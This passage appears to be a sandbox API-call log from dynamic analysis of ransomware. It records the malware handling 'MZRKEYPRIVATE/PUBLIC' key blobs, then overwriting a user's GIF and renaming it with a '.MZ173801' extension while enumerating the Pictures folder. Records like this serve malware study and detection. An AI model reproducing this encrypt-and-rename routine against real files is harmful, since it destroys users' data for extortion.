kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.461] GetCurrentThreadId () returned 0xab4 [0153.461] GetCurrentThreadId () returned 0xab4 [0153.461] GetCurrentThreadId () returned 0xab4 [0153.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.462] GetCurrentThreadId () returned 0xab4 [0153.462] GetCurrentThreadId () returned 0xab4 [0153.462] GetCurrentThreadId () returned 0xab4 [0153.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yvoDa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\yvoda.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.463] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.463] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.463] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x65e0 [0153.463] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.463] ReadFile (in: hFile=0x294, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x65e0, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0x65e0, lpOverlapped=0x0) returned 1 [0153.464] CloseHandle (hObject=0x294) returned 1 [0153.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yvoDa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\yvoda.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.466] WriteFile (in: hFile=0x294, lpBuffer=0x24ebd50*, nNumberOfBytesToWrite=0x65e0, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ebd50*, lpNumberOfBytesWritten=0x19fa24*=0x65e0, lpOverlapped=0x0) returned 1 [0153.490] CloseHandle (hObject=0x294) returned 1 [0153.492] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\yvoDa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\yvoda.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\yvoDa.gif.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\yvoda.gif.mz173801")) returned 1 [0153.493] GetCurrentThreadId () returned 0xab4 [0153.493] GetCurrentThreadId () returned 0xab4 [0153.493] GetCurrentThreadId () returned 0xab4 [0153.493] GetCurrentThreadId () returned 0xab4 [0153.493] GetCurrentThreadId () returned 0xab4 [0153.493] GetCurrentThreadId () returned 0xab4 [0153.493] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8bb0d50, ftCreationTime.dwHighDateTime=0x1d5ec98, ftLastAccessTime.dwLowDateTime=0xef3d6e20, ftLastAccessTime.dwHighDateTime=0x1d5e753, ftLastWriteTime.dwLowDateTime=0xef3d6e20, ftLastWriteTime.dwHighDateTime=0x1d5e753, nFileSizeHigh=0x0, nFileSizeLow=0x65e0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="yvoDa.gif", cAlternateFileName="")) returned 0 [0153.493] GetLastError () returned 0x12 [0153.493] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0153.493] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x85a130b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x85a130b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0153.493] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0153.493] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.493] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x85a130b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x85a130b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.493] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.494] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.494] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae56be0, ftCreationTime.dwHighDateTime=0x1d5f0fb, ftLastAccessTime.dwLowDateTime=0x16f4c4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0b5, ftLastWriteTime.dwLowDateTime=0x16f4c4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4yBx", cAlternateFileName="")) returned 1 [0153.494] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.494] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.494] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae56be0, ftCreationTime.dwHighDateTime=0x1d5f0fb, ftLastAccessTime.dwLowDateTime=0x16f4c4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0b5, ftLastWriteTime.dwLowDateTime=0x16f4c4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0153.494] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae56be0, ftCreationTime.dwHighDateTime=0x1d5f0fb, ftLastAccessTime.dwLowDateTime=0x16f4c4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0b5, ftLastWriteTime.dwLowDateTime=0x16f4c4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0153.494] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d81ed0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0x53aeab90, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0x53aeab90, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2544, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="-1TC27W511TZ.bmp", cAlternateFileName="-1TC27~1.BMP")) returned 1 [0153.494] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0153.494] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\-1TC27W511TZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\-1tc27w511tz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d81ed0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0x53aeab90, ftLastAccessTime.dwHighDateTime=0x1d5eccb, ftLastWriteTime.dwLowDateTime=0x53aeab90, ftLastWriteTime.dwHighDateTime=0x1d5eccb, nFileSizeHigh=0x0, nFileSizeLow=0x2544)) returned 1 [0153.494] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\-1TC27W511TZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\-1tc27w511tz.bmp")) returned 0x20 [0153.494] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\-1TC27W511TZ.bmp", dwFileAttributes=0x80) returned 1 [0153.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrs